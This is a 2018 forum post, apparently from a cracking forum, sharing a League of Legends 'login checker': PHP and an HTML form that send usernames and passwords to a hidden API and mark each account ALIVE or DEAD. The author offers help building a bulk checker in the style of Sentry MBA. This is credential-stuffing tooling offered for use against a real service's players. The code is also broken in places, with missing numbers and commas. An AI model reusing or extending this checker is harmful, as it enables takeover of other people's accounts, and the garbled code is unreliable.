[HOT] [API] League of Legends login checker proxyless!

by brayancamaroes - 11-10-2018, 02:18 PM
Newbie
Posts:
17
Joined:
Oct 2018
Likes:
0
Credits:
31
Reputation:
0
#1
OP
Posted: 11-10-2018, 02:18 PM
Hello bro, I've spend 10 minutes to create this login checker for League of Legends and I've nothing to do with this API yet, so make good use. Heart

1. How to use?
Easy! Copy the complete API URL and paste on your browser replacing the username, password and region, example: My username is brayancamaroes, my password is example123 and I play on Brazil, but your will use region code of Brazil, and she is BR1.
PS: The list of region codes with name of region is already on thread. Cool


2. Can I see example of use?
Yes, here it go!
PHP Code:
<?php
if(isset($_POST) && !empty($_POST) && count($_POST) === 3) { // If the POST fields count isn't 3, it will not work.
    
if(isset($_POST['username']) && !empty($_POST['username']) && strlen($_POST['username']) >= strlen($_POST['username']) <= 24 && preg_match('/^[A-Za-z0-9]*$/'$_POST['username'])) { // League of Legends only accept username with letters and numbers and length higher then 3 and minor of 24.
        
if(isset($_POST['password']) && !empty($_POST['password']) && strlen($_POST['password']) >= && strlen($_POST['password']) <= 16) { // League of Legends only accept password with length higher then 6 and minor of 16.
            
if(isset($_POST['region']) && !empty($_POST['region']) && strlen($_POST['region']) >= && strlen($_POST['region']) <= && preg_match('/^[A-Z0-9]*$/'$_POST['region'])) { // If region code isn't listed in the thread, it will not work.
                
$json json_decode(file_get_contents('http://example.com/?username='.$_POST['username'].'&password='.$_POST['password'].'&region='.$_POST['region']), true);
                
$isset true;
                if(
$json['response'] === true) {
                    
$status true;
                } else {
                    
$status false;
                }
            }
        }
    }
}
?>
<!DOCTYPE html>
<html>
<body>
    <center><h1>League of Legends &mdash; Login Checker</h1></center>
    <hr><br>
    <center>
        <form method="POST">
            Username: <input type="text" name="username" value="" minlength="4" maxlength="24" required=""><br><br>
            Password: <input type="text" name="password" value="" minlength="6" maxlength="16" required=""><br><br><br>
            <input type="radio" name="region" value="BR1" required=""> Brazil<br>
            <input type="radio" name="region" value="EUN1"> EU Nordic & East<br>
            <input type="radio" name="region" value="EUW1"> EU West<br>
            <input type="radio" name="region" value="JP1"> Japan<br>
            <input type="radio" name="region" value="KR"> Korea<br>
            <input type="radio" name="region" value="LA1"> Latin America North<br>
            <input type="radio" name="region" value="LA2"> Latin America South<br>
            <input type="radio" name="region" value="NA1"> North America<br>
            <input type="radio" name="region" value="OC1"> Oceania<br>
            <input type="radio" name="region" value="RU"> Russia<br>
            <input type="radio" name="region" value="TR1"> Turkey<br><br><br>
            <input type="submit" value=" C h e c k ">
        </form>
    </center>
<?php if(isset($isset) && $isset) { ?>    <br><hr>
    <center><h1>Account is <span style="color: <?php if(isset($status) && $status) { ?>green<?php } elseif(isset($status) && !$status) { ?>red<?php ?>"><?php if(isset($status) && $status) { ?>ALIVE<?php } elseif(isset($status) && !$status) { ?>DEAD<?php ?></span>!</h1></center>
<?php ?>
</body>
</html> 
PS: Replace http://example.com/ on line 6 to API URL.
PS²: Obviously you can make a bulk login checker like a web version of Sentry MBA, if some user needs and not have knowledge how to do, call me at PM.


3. What is the API response?
Account alive:
Code:
{"response": true}
Account dead:
Code:
{"response": false}

4. List of region codes?
BR1 = Brazil
EUN1 = EU Nordic & East
EUW1 = EU West
JP1 = Japan
KR = Korea
LA1 = Latin America North
LA2 = Latin America South
NA1 = North America
OC1 = Oceania
RU = Russia
TR1 = Turkey


5. Wait, this is a joke, It's that simple?
YES! Cool

Please register or login in order to unlock hidden content.

Do not forget replace http://example.com/ on line 6 to API URL!
The last reply on this thread is older than a month. Please do not unnecessarily bump it.
Register an account or login to reply
Create an account
Create a free account today and start posting right away. It only takes a few seconds.
Login
Log into an existing account.
1 Guest(s)